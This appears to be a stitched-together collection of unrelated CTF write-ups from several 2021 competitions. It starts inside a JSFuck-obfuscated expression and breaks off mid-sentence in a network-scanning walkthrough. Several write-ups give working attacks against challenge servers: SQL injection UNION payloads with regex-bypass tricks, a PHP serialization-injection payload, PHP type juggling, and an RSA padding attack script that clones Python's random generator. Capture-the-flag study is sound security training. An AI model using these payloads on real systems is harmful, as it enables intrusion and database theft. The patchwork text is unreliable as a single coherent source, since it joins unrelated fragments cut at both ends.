]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]]((!![]+[])[+[]])[([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]](([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])+[])[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])())``` that evaluates to ictf{1nsp3ct0r_r00_g0es_th0nk} flag : `ictf{1nsp3ct0r_r00_g0es_th0nk}`
# Locked Outside #### Category : mission, boot2root#### Points : 100 (66 solves) ## ChallengeBased on the payload discovered, the employee’s computer was used to compromise a machine in our network. We checked the machine and confirmed that we’ve lost SSH access to it. Can you check if we can get the access back? Flag format: flag{string} Attachment : [lockedout.ova](https://defendingthesoc.ctf.cert.rcts.pt/files/c38e9686867c3632cdbea043d840e4fa/lockedout.ova?token=eyJ1c2VyX2lkIjoyOTAsInRlYW1faWQiOjEzMSwiZmlsZV9pZCI6MzF9.YRSdJQ.wRkc0EPi9ExkzpVPcnAjxQnxKs0) ## SolutionWe are given a .ova file which we can import in Virtualbox and load it. Make sure to note down the location where you are storing the virtual hard drive. ![](https://github.com/p1xxxel/ctf-writeups/blob/main/2021/RCTS%20CERT%202021/Locked%20outside/vdi_file_location.png) But when we load it, it asks for the password. So what I do to bypass it is create another virtual machine, use the .vdi file created while importing the lockedout ova image with a live linux iso. In this case I downloaded archlinux iso. To do this, create a new vm and add the iso as bootable disk, select the vdi file from locked out as the virtual hard drive and then boot into the live environment. ![](https://github.com/p1xxxel/ctf-writeups/blob/main/2021/RCTS%20CERT%202021/Locked%20outside/arch_vm.png) When you do `lsblk`, the `/dev/sda1` is the boot partition and `/dev/sda2` is the file system. You might have some errors while mounting `/dev/sda2` directly. ![](https://github.com/p1xxxel/ctf-writeups/blob/main/2021/RCTS%20CERT%202021/Locked%20outside/mounting_error.png) If you do get the same error, use this solution https://askubuntu.com/questions/766048/mount-unknown-filesystem-type-lvm2-member and `/dev/sda2` should be mounted correctly. ![](https://github.com/p1xxxel/ctf-writeups/blob/main/2021/RCTS%20CERT%202021/Locked%20outside/mounting_file_system.png) The problem description says to get back the ssh connection so I checked `/etc/ssh/sshd_config` and we find the flag. ![](https://github.com/p1xxxel/ctf-writeups/blob/main/2021/RCTS%20CERT%202021/Locked%20outside/finding_flag.png)
# You are not allowed #### Category : Reverse engineering#### Points : 100 (242 solves) ## ChallengeCan you reverse this program and get us the flag? Flag format: flag{string} Attachment : program ## SolutionUsing file command on this binary, we see that it is a stripped binary. Opening this binary in ghidra and going to the `entry` function, the first parameter of `__libc_start_main` is the main function. ![](https://github.com/p1xxxel/ctf-writeups/blob/main/2021/RCTS%20CERT%202021/You%20are%20not%20allowed/finding_main.png) Double clicking it, we get the main function. ![](https://github.com/p1xxxel/ctf-writeups/blob/main/2021/RCTS%20CERT%202021/You%20are%20not%20allowed/main_func.png) So it is taking input from the user and then comparing it with a secret key generated by `FUN_00401242`. Taking a look at this function, ![](https://github.com/p1xxxel/ctf-writeups/blob/main/2021/RCTS%20CERT%202021/You%20are%20not%20allowed/key_gen.png) So we just need to convert the integer into char and we will get the secret key which we can then enter to get the flag. The key obtained from this is `Sup3rS3cr3tK3y#` Entering this, we get the flag ![](https://github.com/p1xxxel/ctf-writeups/blob/main/2021/RCTS%20CERT%202021/You%20are%20not%20allowed/getting_flag.png) So the flag is `flag{1ntr0_t0_r3v3rs3_3ng1n33r1ng}`
# Maybe the helper can help #### Category : forensics#### Points : 100 (98 solves) ## Challenge You might not see it, but a flag lies within. Flag Format: flag{string} Attachment : the-jetsons-family.jpg ## Solution Using stegseek on this we get the keyphrase is `rosie` ![](https://github.com/p1xxxel/ctf-writeups/blob/main/2021/RCTS%20CERT%202021/Maybe%20the%20helper%20can%20help/stegseek_crack.png) The extracted file contains the flag which has been base64 encoded twice. ![](https://github.com/p1xxxel/ctf-writeups/blob/main/2021/RCTS%20CERT%202021/Maybe%20the%20helper%20can%20help/getting_flag.png)
# The Challenge The challenge consists of an RSA implementation. As with most RSA challenges we are given the public key: The exponent `e` and the modulus `n`. We are allowed to encrypt any data we want and the server will return with its encryption (Option 1). The server can also encrypt the flag and return its encryption (Option 2). We are allowed to send messages that aren't too long. The padding generated has to be at least 9 bytes long. The source can be found in the [./chal](./chal) folder. ## The Vuln: The padding This is a pretty straightforward challenge. Take a look at the padding code: ```pythonfrom random import getrandbits # ... # def pad(m, n): # pkcs#1 v1.5 ms = long_to_bytes(m) ns = long_to_bytes(n) if len(ms) >= len(ns) - 11: return -1 padlength = len(ns) - len(ms) - 3 ps = long_to_bytes(getrandbits(padlength * 8)).rjust(padlength, b"\x00") return int.from_bytes(b"\x00\x02" + ps + b"\x00" + ms, "big")``` The key thing to note is that the padding is random bytes generated by python's `random.getrandbits`. Python's random module is a Pseudo-RNG (PRNG) called MT19937. This PRNG isn't cryptographically secure and shouldn't be used to generate padding. Furthermore, given that the flag length is lesser than `55` bytes, the padding will be at least `198` bytes of the whole padded message `256` bytes. If we can somehow predict the padding, we would know _majority_ of the padded message, represented in RSA as `enc(padded_msg) = padded_msg^e mod n`. From knowing majority of the message, we can represent `enc(pad(flag))` as `(a + b*flag)^e mod n`, where the magnitude of `flag` is a lot smaller than `n`. One can then recover `flag` via [Coppersmith](https://en.wikipedia.org/wiki/Coppersmith_method). ## The Approach Our attack will look something like this: 1. Get the padding of multiple messages2. From the known padding, clone the `random` object generating the padding3. Predict the padding used when encrypting the flag.4. Recover the flag with Coppersmith. ### Getting the padding We can generate a message `pt` for the server to encrypt, which will give us back `ct = enc(pt)`. Via the same logic as before, we can make `pt` long enough such that it is the majority of the `256` bytes padded message, such that `ct = (a + b*padding)^e mod n`, where the magnitude of `padding` is a lot smaller than `n`, and we can recover `padding` via Coppersmith. To make cloning the PRNG easy, `padding` length should also be aligned to 4 bytes, since MT19937 outputs 32 bits per call. I chose the `padding` length to be 12 bytes, equivalent to 3 outputs of the MT19937. Since in order to clone an MT19937 we need at least 624 of its output, we need to query the server `624//3` times. ```python from nclib import Netcat def ru(nc, b): """Recieve until""" r = b"" while b not in r: r += nc.recv(1) return r nc = Netcat(("193.57.159.27", 56926))ru(nc, b"n: ")n = int(nc.recvline()) def get_enc(buf): """Returns enc(pad(buf)) from the server""" ru(nc, b"opt: ") nc.send(b"1\n") ru(nc, b"msg: ") nc.send(str(buf).encode() + b"\n") ru(nc, b"c: ") return int(nc.recvline()) def gen_poly(pad, padbitlength, ct, pt): """ Generate polynomial enc(pad(pt)) - ct """ return ((2<<(8*254)) + (pad * 2^(8*(256 - padbitlength//8 - 2))) + pt)^e - ct pt = 1 << (1920) # Long enough pt such that padding is 12 bytes pads = []for i in range(624//3): ct = get_enc(pt) x = PolynomialRing(Zmod(n), 'x').gen() # `x` represents padding pol = gen_poly(x, 96, ct, pt).monic() # create polynomial in `x` pads.append(pol.small_roots()[0]) # solve polynomial to get `x```` ### Cloning the PRNG From the padding recovered above, we can now recover the `624` 32-bit integers that are the output of the MT19937, and thereafter clone the RNG. ```python# https://github.com/JuliaPoo/MT19937-Symbolic-Execution-and-Solverfrom MT19937 import MT19937 data624 = []for p in pads: for i in range(3): data624.append((int(p) >> 32*i) & ((1<<32) - 1)) rng_clone = MT19937(state_from_data = (data624, 32))``` I used an MT19937 library I wrote _ages_ ago to clone the PRNG. While we're at it, might as well implement `getrandbits` so we can predict the padding. ```pythondef copy_genrandbits(rng, nbits): ds = [rng() for _ in range(nbits//32)][::-1] res = ds[0] for d in ds[1:]: res <<= 32 res += d q = nbits % 32 if q: res += (rng() >> (32-q)) << (32*(nbits//32)) return res``` ### Predicting the padding of the flag At this point we might as well get the encryption of the flag from the server too: ```pythondef get_encflag(): ru(nc, b"opt: ") nc.send(b"2\n") ru(nc, b"c: ") return int(nc.recvline()) enc_flag = get_encflag()``` Now the padding for `enc_flag` is created by the PRNG that has been forward 624 times (due to all the previous encryptions we made). So to predict the padding for this, we have to forward our cloned RNG 624 times as well. Do note however, we don't know the length of the flag, so we don't know how many bits is the padding. Eitherways we can make a guess of `54` bytes: ```pythonflen = 54padbitlength = (256-flen-3)*8 rng_clone = MT19937(state_from_data = (data624, 32))for i in range(624): rng_clone() # forward rng_clonefpad = copy_genrandbits(rng_clone, padbitlength)``` ### Recovering the flag With all these we can do the exact same thing as before: Coppersmith to recover the flag ```pythonx = PolynomialRing(Zmod(n), 'flag').gen()pol = gen_poly(fpad, padbitlength, enc_flag, x)roots = pol.small_roots(X=(1<<(flen*8)))print(roots) # > []``` But wait, there are no roots. This probably means that the flag length `flen` guessed earlier is wrong, so just create a loop to guess the flag length: ```pythonfor flen in range(54,0,-1): padbitlength = (256-flen-3)*8 rng_clone = MT19937(state_from_data = (data624, 32)) for i in range(624): rng_clone() fpad = copy_genrandbits(rng_clone, padbitlength) x = PolynomialRing(Zmod(n), 'flag').gen() pol = gen_poly(fpad, padbitlength, enc_flag, x) roots = pol.small_roots(X=(1<<(flen*8))) if len(roots) != 0: break flag = long_to_bytes(roots[0])print("Flag:", flag.decode()) # > Flag: rarctf{but-th3y_t0ld_m3_th1s_p4dd1ng_w45-s3cur3!!}``` The full solve script can be found in [sol/sol.sage](sol/sol.sage).
# Xoro #### Category : Crypto#### Points : 380 (89 solves)#### Author : rey ## Challenge "You need to accept the fact that you’re not the best and have all the will to strive to be better than anyone you face." – Roronoa Zoro Connection : `nc 104.199.9.13 1338` Attachment : xoro.py ## Solution From the python file we see that it takes some hex input, converts it into bytes, concatenates with the flag bytes and then XORs it with a randomly generated and padded key originally of length 32. ```pythondef pad(text, size): return text*(size//len(text)) + text[:size%len(text)]``` As the key is of 32 characters and then it gets padded by the above function, if we input our own 32 characters, we can then XOR the result we get with the characters we sent, to get the key. ```bash# nc 104.199.9.13 1338 ─╯ ===== WELCOME TO OUR ENCRYPTION SERVICE ===== [plaintext (hex)]> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[ciphertext (hex)]> 03dbb4aa7bafbdf8c2ba096da1a4868011f49fbb54dd97778749af3266063e2feb22506fb8617629007fd498686f4275c231404e9c0558bc46bc51d089f3cccafb2e2121ee246aSee ya ;)``` I input 64 A's (2 hex characters = 1 byte) and get the above as cipher text. I then XOR the payload(bytes from 64 A's) and the first 32 bytes from cipher text, to get the key. ```python>>> from pwn import xor>>> cipher = '03dbb4aa7bafbdf8c2ba096da1a4868011f49fbb54dd97778749af3266063e2feb22506fb8617629007fd498686f4275c231404e9c0558bc46bc51d089f3cccafb2e2121ee246a'>>> key = xor(bytes.fromhex(cipher)[0:32],bytes.fromhex("A"*64))>>> keyb'\xa9q\x1e\x00\xd1\x05\x17Rh\x10\xa3\xc7\x0b\x0e,*\xbb^5\x11\xfew=\xdd-\xe3\x05\x98\xcc\xac\x94\x85'``` Now, we can just xor the original cipher text and the key to get the flag. ```python>>> xor(bytes.fromhex(cipher),key)[32:]b'BSNoida{how_can_you_break_THE_XOR_?!?!}'``` So the flag is `BSNoida{how_can_you_break_THE_XOR_?!?!}` Note : If you use the XOR function from the script, you will first need to pad the key to be of the same lenght as cipher. [Original Writeup](https://github.com/p1xxxel/ctf-writeups/blob/main/2021/BSides%20Noida/Xoro/README.md)
# Solution There are no interesting things on the web page so I look at the source code ```htmlPLSSS DONT HACK ME!!!!!! ``` There is a comment "**debug**" So we have to set "**debug**" http parameter `34.88.85.200:4001/?debug` We can see the source code```php ```Let's understand the code```php ```The rest is checking `debug` http parameter and if it is seted show the source *code* So far we understand the code To get the **flag** the second index of the result from `unserialize` must be "V13tN4m_number_one " instead of "Fl4g_in_V13tN4m" Our *input* which is combined with *serialization format* in `$ser` variable is unfiltered and we can do **injection** attack! But we can't send `";i:1;s:19:"V13tN4m_number_one ";}` straight because `strlen($username)` return the length of our whole payload```a:2:{i:0;s:strlen($username):"$username;... becomes a:2:{i:0;s:34:"";i:1;s:19:"V13tN4m_number_one ";}... ```The integer after **first** `s` must be the length of the **first** string.In our case it is `34` and the string is empty "" So it doesn't work Luckily there is `filter` function which replaces "flag" with "flagcc" and extending the length of the **first** string by 2.The function is called after `strlen($username)` so we can make our *length* of **first string** equals to the result of `strlen` After trying for the length to be matched, the final *payload* looks like this `flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:1;s:19:"V13tN4m_number_one ";}` When we pass that *payload*```before passing to filter functiona:2:{i:0;s:102:"flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:1;s:19:"V13tN4m_number_one ";}... after passing to filter functiona:2:{i:0;s:102:"flagccflagccflagccflagccflagccflagccflagccflagccflagccflagccflagccflagccflagccflagccflagccflagccflagcc";i:1;s:19:"V13tN4m_number_one ";}..```The length of **first** string `flagccflagcc...` is now 102 and it equals to the integer after **first** `s` Send that **payload**!!! `http://34.88.85.200:4001/?name=flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag%22;i:1;s:19:%22V13tN4m_number_one%20%22;}` And there is the flag ![](https://raw.githubusercontent.com/MikelAcker/CTF_WRITEUPS_2021/main/BSides_Noida_CTF_2021_Writeup/Web/wowooo/info.png) *flag*: `BSNoida{3z_ch4all_46481684185_!!!!!!@!}`
# SPEEDRUN```DescriptionI've seen some teams solve pwn challenges almost instantly. I'm sure y'all wonder how. Well, you're about to find out! Attachmentshttps://imaginaryctf.org/r/4E9F-speedrun.py nc chal.imaginaryctf.org 42020```
# Some type of juggling / Web --- ## Description Can you solve this challenge? URL: http://challenges.defsoc.tk:8080 Flag format: flag{string}--- ## Solution ![img](https://i.imgur.com/NB0DaMO.png) After understanding the source code and searching about php strings equality [https://stackoverflow.com/questions/22140204/why-md5240610708-is-equal-to-md5qnkcdzo](https://stackoverflow.com/questions/22140204/why-md5240610708-is-equal-to-md5qnkcdzo) knew that if we modified the url with http://challenges.defsoc.tk:8080/hash=QNKCDZOwe will got the flag :) ![img](https://i.imgur.com/02gOAMD.png) --- ## Flag flag{php_typ3_juggllng_1s_c00l}
## Symbols### Challenge> Oh, my eyes, my eyes! People still can solve this kind of cryptography? Mathematicians should love this one!![Symbols Challenge](/assets/images/cryptoctf-symbols.png) ### Solution In this challenge, we are given an image of math symbols, from the first couple of symbols and the flag format, we can guess that the flag is the initials of these symbols in $\LaTeX$. By using Mathpix Snip, a tool that can convert images into LaTeX for inline equations, we can get most of the symbols and get the flag. $$\Cap \Cap \Theta \Finv \{ \Pi \ltimes \aleph y \_ \wp \infty \therefore \heartsuit \_ \Lsh \aleph \Theta \eth \Xi \}$$ ```\Cap \Cap \Theta \Finv \{ \Pi \ltimes \aleph y \_ \wp \infty \therefore \heartsuit \_ \Lsh \aleph \Theta \eth \Xi \}``` ##### Flag `CCTF{Play_with_LaTeX}`
# find_plut0 Writeup ### InCTF 2021 - Reversing 100 - 116 solves > Find pluto , and get your Reward !!> [chall](./chall) #### Encryption logic ```python# input : char array# output: char array# temp : dword arraytarget = "inctf{U_Sur3_m4Te?}"output = [None] * 19 temp = [None] * 22 temp[0] = input[0] - 50 + input[1]temp[1] = input[1] - 100 + input[2]temp[2] = 4 * input[2]temp[3] = input[3] ^ 0x46temp[4] = 36 - (input[3] - input[4])temp[6] = (input[6] * input[5] + 99)temp[7] = (input[6] ^ input[7])temp[8] = (input[7] + 45) ^ input[8]temp[9] = (input[9] & 0x37) - 3temp[11] = input[11] - 38temp[12] = 4 * ((input[12] ^ input[6]) + 4)temp[5] = (input[21] - input[4]) ^ 0x30temp[13] = input[13] - input[14] - 1temp[10] = input[17] - input[16] + 82temp[16] = 6 * (input[18] ^ input[19]) + 54temp[17] = input[21] + 49 + (input[20] ^ 0x73)temp[14] = input[22]temp[18] = input[23] ^ 0x42temp[15] = input[26] + 5temp[19] = input[25] - input[26] / 2 - 55temp[20] = 4 * input[27] - (input[28] + 128)temp[21] = input[29] - 32 output[0] = (temp[0] ^ 2) - 31output[1] = ((temp[1] % 2) ^ temp[0]) - 29output[2] = (4 * temp[1]) ^ 0x97output[3] = temp[2] ^ 0xA0output[4] = (temp[3] ^ 0x4D) + 7output[5] = 4 * temp[5] - 1output[3] = temp[4] + 116output[6] = temp[6] + 21output[7] = temp[7] - 20output[8] = temp[8] ^ 0x63output[9] = (temp[10] ^ 3) - temp[8] + 54output[10] = temp[9] ^ 0x42output[11] = temp[11] + 51output[11] = temp[12] ^ 0xB3output[12] = (temp[13] + 18) ^ 0x1Aoutput[13] = temp[14] - 7output[14] = temp[15] - 37output[15] = temp[17] ^ 0xE5output[16] = (temp[18] & 0x36) + 53output[14] = temp[19] ^ 0x34output[17] = temp[20] ^ 0xFDoutput[18] = (temp[20] >> temp[21]) ^ 0x1C assert output == target``` #### Exploit Upper logic seems to be invertible. z3! Please help me out :D. One thing we need to take care about: `output` is char array but `temp` array is DWORD array. Must apply `0xFF` bitmask when storing values from the results of processing data from `temp` to `output`. I get flag: ```inctf{PluT0_C0m3_&_g3t_y0uR_tr3aToz!}``` Exploit code: [solve.py](solve.py)
### Unintended SolutionAfter checking the given files, I found out that `karma.db` is placed in the root directory So, access it and search for the flag http://ctf.babyweb.bsidesnoida.in/karma.db ![](https://raw.githubusercontent.com/MikelAcker/CTF_WRITEUPS_2021/main/BSides_Noida_CTF_2021_Writeup/Web/Baby%20Web/info1.png) *flag*: `BSNoida{4_v3ry_w4rm_w31c0m3_2_bs1d35_n01d4}` ### Intended SolutionLooking at `index.php`, we can see that the website takes `chall_id` http parameter and passes it's value to "SELECT * FROM ..." query statement.```php... if (isset($_GET['chall_id'])) { $channel_name = $_GET['chall_id']; $sql = "SELECT * FROM CTF WHERE id={$channel_name}"; $results = $db->query($sql); ...```The parameter's vaule is **unfiltered**.So, we can do *injection* attack. But, when we send payloads which contains *alphabet*, it gives error. ![](https://raw.githubusercontent.com/MikelAcker/CTF_WRITEUPS_2021/main/BSides_Noida_CTF_2021_Writeup/Web/Baby%20Web/info2.png) Checking carefully the *given* files again, I found that there is a **regex** that is used to prevent alphabets and white spaces in `chall_id` from `config/ctf.conf` file```... if ( $arg_chall_id ~ [A-Za-z_.%]){ return 500; } ...``` We have to think how to *bypass* it After searching online, I found this useful article [PHP query string parser vulnerability](https://medium.com/@nyomanpradipta120/php-query-string-parser-vulnerability-cc6f0a8b206) It says, in php query string parsing process, it removes or replaces some characters in the argument names with underscore. For example: `post[id=1337` becomes `post_id=1337` So, in this challenge, if we send `?chall[id`, the regex will see `chall[id` but the php application will see `chall_id` We can do **injection** now!!! `http://ctf.babyweb.bsidesnoida.in/?chall[id=1+or+1=1` ![](https://raw.githubusercontent.com/MikelAcker/CTF_WRITEUPS_2021/main/BSides_Noida_CTF_2021_Writeup/Web/Baby%20Web/info3.png) From opening given `karma.db` file, we can see that there are 6 *columns*.```$ cat karma.db�_�%tableCTFCTFCREATE TABLE CTF( id integer AUTO_INCREMENT, title varchar(255) not NULL, description varchar(255) not NULL, category varchar(255) not NULL, author varchar(255) not NULL, points int NOT NULLB��...``` Now, we can use **UNION SELECT** payload `http://ctf.babyweb.bsidesnoida.in/?chall[id=1+union+select+1,2,3,4,5,6` ![](https://raw.githubusercontent.com/MikelAcker/CTF_WRITEUPS_2021/main/BSides_Noida_CTF_2021_Writeup/Web/Baby%20Web/info4.png) We can extract all the **tables** from **sqlite_master** `http://ctf.babyweb.bsidesnoida.in/?chall[id=1+union+select+1,2,3,4,5,sql+from+sqlite_master` ![](https://raw.githubusercontent.com/MikelAcker/CTF_WRITEUPS_2021/main/BSides_Noida_CTF_2021_Writeup/Web/Baby%20Web/info5.png) There is a *table* **flagsss** and a column **flag** in it Let's see if the flag is there `http://ctf.babyweb.bsidesnoida.in/?chall[id=1+union+select+1,2,3,4,5,flag+from+flagsss` ![](https://raw.githubusercontent.com/MikelAcker/CTF_WRITEUPS_2021/main/BSides_Noida_CTF_2021_Writeup/Web/Baby%20Web/info6.png) Can't see the whole **flag** so I look at the source ![](https://raw.githubusercontent.com/MikelAcker/CTF_WRITEUPS_2021/main/BSides_Noida_CTF_2021_Writeup/Web/Baby%20Web/info7.png) And, there is the **flag** *flag*: `BSNoida{4_v3ry_w4rm_w31c0m3_2_bs1d35_n01d4}` # Another way to solve We can use [HTTP Parameter Pollution](https://www.youtube.com/watch?v=QVZBl8yxVX0) to solve this challenge `http://ctf.babyweb.bsidesnoida.in/?chall_id=1&chall_id=1+union+select+1,2,3,4,5,flag+from+flagsss` When we send this payload, the **regex** filters the first `chall_id` but not the *last* one. And also in **php** if there are same *http* parameters it will use only the **last** one So, we can bypass the **regex** and do the *injection*
## Chaplin's PR Nightmare - 1### Description```Charlie Chaplin has gotten into software development, coding, and the like... He made a company, but it recently came under fire for a PR disaster. He got all over the internet before he realized the company's mistake, and is now scrambling to clean up his mess, but it may be too late!! Find his Twitter Account and investigate! NOTE THAT THESE CHALLENGES DO NOT HAVE DO BE DONE IN ORDER! The inner content of this flag begins with "pe" author: Thomas``` ----- ### WriteupStarting off with the first challenge, we are given a few key pieces of information. First of all, a full name. Next we also have key words such as coding, Software development etc.. These are good to use to modify search parameters to vary a search until the desired result is found. Thankfully, since they've given us information, and a platform to look on, this should be pretty straight forward. Going to Twitter, we can use the search function and start plugging in the combinations we have. One thing with Twitter searches and other search engines in general, is to sort by the type of content you're looking for to begin with. For this challenege, that would be a profile, instead of a specific tweet or hashtag or trending topic. ![image1](https://raw.githubusercontent.com/BYU-CTF-group/writeups/main/UIUCTF_2021/OSINT_Charlie/twitter.JPG) So as the above image shows, "charlie chaplin coding" brings up a solitary account - this looks like it. Further investigation leads to a few couple things. First off, there's a YouTube link, which will lead us straight to the next challenge. After looking at a few of the tweets, we can see that he has one thread dedicated to "lists". Any Twitter user who's used it for long enough will know that Twitter users have the abillity to create their own "lists", mostly containing users they select for some reason. ![image2](https://raw.githubusercontent.com/BYU-CTF-group/writeups/main/UIUCTF_2021/OSINT_Charlie/twitter-hint1.JPG) To access a user's lists, one clicks on the options button on their profile, which then opens a drop down menu with the "View Lists" option. ![image3](https://raw.githubusercontent.com/BYU-CTF-group/writeups/main/UIUCTF_2021/OSINT_Charlie/twitter-hint2.JPG) Now once we open that we are rewarded with a flag right away. Not too bad, but definitely a good place to hide a flag! A common trend among these challenges is that they show off side features of platforms that require a step or two to discover. ![image4](https://raw.githubusercontent.com/BYU-CTF-group/writeups/main/UIUCTF_2021/OSINT_Charlie/flag-twitter.JPG) **Flag:** `uiuctf{pe@k_c0medy!}` ----- ### Real-World ApplicationWhen it comes to initial OSINT Challenges and search engines, it helps to utilize a bit of google-fu like skills. Search engines such as Twitter's often include additional filters that can be used to parse through less relevant results. Next, identifying key words to utilize in search parameters and then testing a combination of such parameters will allow for the search to be more accurate and thorough. These combined with other strategies such as including the '@' character or ommitting words or requiring words lead to more optimal searching, which is a necessary tool for cybersecurity.
We want to traverse a maze until we reach the flag, by suppling a sequence of steps in directions "hjkl". This writeup covers finding the data structure that holds the maze, visualizing it, then using gdb to manually verify the steps we can take.
# Shell Boi - InCTF 2021 [11 solves] [956 points] [First Blood]## Description```He sells linux shells on the shell store. Author: f4lcon```[OpenVPN Config](https://ctf.bi0s.in/pentest/config/55) --- ## SolutionAn openvpn file is provided to connect to the network```tap0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.30.0.14 netmask 255.255.255.240 broadcast 0.0.0.0 inet6 fe80::24d0:c6ff:fe0b:74d2 prefixlen 64 scopeid 0x20<link> ether 26:d0:c6:0b:74:d2 txqueuelen 1000 (Ethernet) RX packets 9 bytes 702 (702.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 6 bytes 516 (516.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0```The network is having a 255.255.255.240 netmask, so I scan the entire network with nmap using -sP/-sn with the CIDR notation of /28```Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-14 08:02 HKTNmap scan report for 172.30.0.5Host is up (0.16s latency).MAC Address: 02:42:0C:94:44:7F (Unknown)Nmap scan report for 172.30.0.8Host is up (0.17s latency).MAC Address: 02:42:55:F9:1F:2B (Unknown)Nmap scan report for 172.30.0.14Host is up.Nmap done: 16 IP addresses (3 hosts up) scanned in 16.15 seconds```Except my vm, there are 2 hosts found on the network : 172.30.0.5, 172.30.0.8 Then I scan ports of both hosts, 172.30.0.8 has no port opened, and 